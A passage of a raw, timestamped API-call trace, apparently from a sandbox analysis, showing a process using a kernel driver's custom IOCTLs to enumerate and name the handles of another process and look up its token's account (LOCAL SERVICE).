Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.670] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.671] PsReleaseProcessExitSynchronization () returned 0x2 [0104.671] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x34 [0104.671] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.671] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.671] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.671] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.671] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xc0 [0104.671] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.671] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0104.671] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.671] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4c [0104.671] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80036e5180 | out: TokenHandle=0xfffffa80036e5180*=0xc8) returned 0x0 [0104.671] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.671] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.671] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.671] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.673] CloseHandle (hObject=0xc8) returned 1 [0104.673] CloseHandle (hObject=0xc0) returned 1 [0104.673] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.673] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.673] PsAcquireProcessExitSynchronization () returned 0x0 [0104.673] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.673] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0104.673] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.673] PsReleaseProcessExitSynchronization () returned 0x2 [0104.673] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.673] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.673] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0104.673] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.673] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.673] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.673] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.673] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.673] PsAcquireProcessExitSynchronization () returned 0x0 [0104.673] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.673] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0104.673] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.673] PsReleaseProcessExitSynchronization () returned 0x2 [0104.673] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.673] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.673] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0104.673] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.673] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.673] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.674] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.674] PsAcquireProcessExitSynchronization () returned 0x0 [0104.674] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.674] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.674] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.674] PsReleaseProcessExitSynchronization () returned 0x2 [0104.674] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.674] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.674] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.674] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.674] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.674] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.674] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.674] PsAcquireProcessExitSynchronization () returned 0x0 [0104.674] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.674] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.674] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.674] PsReleaseProcessExitSynchronization () returned 0x2 [0104.674] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.674] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.674] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.674] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.674] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.674] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.674] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0104.674] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.674] PsAcquireProcessExitSynchronization () returned 0x0 [0104.674] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.674] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0104.674] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.674] PsReleaseProcessExitSynchronization () returned 0x2 [0104.674] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.674] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.674] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0104.674] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.675] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.675] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0104.675] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.675] PsAcquireProcessExitSynchronization () returned 0x0 [0104.675] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.675] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003075a50, HandleInformation=0x0) returned 0x0 [0104.675] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.675] PsReleaseProcessExitSynchronization () returned 0x2 [0104.675] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.675] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.675] ObfDereferenceObject (Object=0xfffffa8003075a50) returned 0x3 [0104.675] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.675] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.675] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0104.675] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.675] PsAcquireProcessExitSynchronization () returned 0x0 [0104.675] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.675] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800358f410, HandleInformation=0x0) returned 0x0 [0104.675] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.675] PsReleaseProcessExitSynchronization () returned 0x2 [0104.675] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.675] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.675] ObfDereferenceObject (Object=0xfffffa800358f410) returned 0x2 [0104.675] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.675] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.675] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.675] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0104.675] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.675] PsAcquireProcessExitSynchronization () returned 0x0 [0104.675] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.675] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a09190, HandleInformation=0x0) returned 0x0 [0104.675] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.676] PsReleaseProcessExitSynchronization () returned 0x2 [0104.676] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.676] ObQueryNameString (in: Object=0xfffff8a001a09190, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.676] ObfDereferenceObject (Object=0xfffff8a001a09190) returned 0x2 [0104.676] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.676] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.676] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa6, lpOverlapped=0x0) returned 1 [0104.676] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.676] PsAcquireProcessExitSynchronization () returned 0x0 [0104.676] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.676] ObReferenceObjectByHandle (in: Handle=0x158, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001a979e0, HandleInformation=0x0) returned 0x0 [0104.676] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.676] PsReleaseProcessExitSynchronization () returned 0x2 [0104.676] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.676] ObQueryNameString (in: Object=0xfffff8a001a979e0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.676] ObfDereferenceObject (Object=0xfffff8a001a979e0) returned 0x2 [0104.676] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.676] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.676] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.676] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x102, lpOverlapped=0x0) returned 1 [0104.676] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.676] PsAcquireProcessExitSynchronization () returned 0x0 [0104.676] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.676] ObReferenceObjectByHandle (in: Handle=0x160, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800cabb520, HandleInformation=0x0) returned 0x0 [0104.676] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.676] PsReleaseProcessExitSynchronization () returned 0x2 [0104.676] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.676] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.676] ObfDereferenceObject (Object=0xfffffa800cabb520) returned 0x1 [0104.676] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.677] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.677] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8c, lpOverlapped=0x0) returned 1 [0104.677] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.677] PsAcquireProcessExitSynchronization () returned 0x0 [0104.677] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.677] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003c3ba00, HandleInformation=0x0) returned 0x0 [0104.677] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.677] PsReleaseProcessExitSynchronization () returned 0x2 [0104.677] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.677] ObQueryNameString (in: Object=0xfffffa8003c3ba00, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.677] ObfDereferenceObject (Object=0xfffffa8003c3ba00) returned 0x1 [0104.677] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.677] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.677] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0104.677] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.677] PsAcquireProcessExitSynchronization () returned 0x0 [0104.677] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.677] ObReferenceObjectByHandle (in: Handle=0x1b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800dfd4b60, HandleInformation=0x0) returned 0x0 [0104.677] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.677] PsReleaseProcessExitSynchronization () returned 0x2 [0104.677] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.677] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.677] ObfDereferenceObject (Object=0xfffffa800dfd4b60) returned 0x1 [0104.677] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.677] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.677] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.677] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xf4, lpOverlapped=0x0) returned 1 [0104.678] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.678] PsAcquireProcessExitSynchronization () returned 0x0 [0104.678] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.678] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800c5de530, HandleInformation=0x0) returned 0x0 [0104.678] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.678] PsReleaseProcessExitSynchronization () returned 0x2 [0104.678] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0104.678] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.678] ObfDereferenceObject (Object=0xfffffa800c5de530) returned 0x1 [0104.678] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.678] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.678] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.678] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0104.678] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.678] PsAcquireProcessExitSynchronization () returned 0x0 [0104.678] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff88004f095d0) [0104.678] ObReferenceObjectByHandle (in: Handle=0x2e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8003237ca0, HandleInformation=0x0) returned 0x0 [0104.678] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.678] PsReleaseProcessExitSynchronization () returned 0x2 [0104.678] ObfDereferenceObject 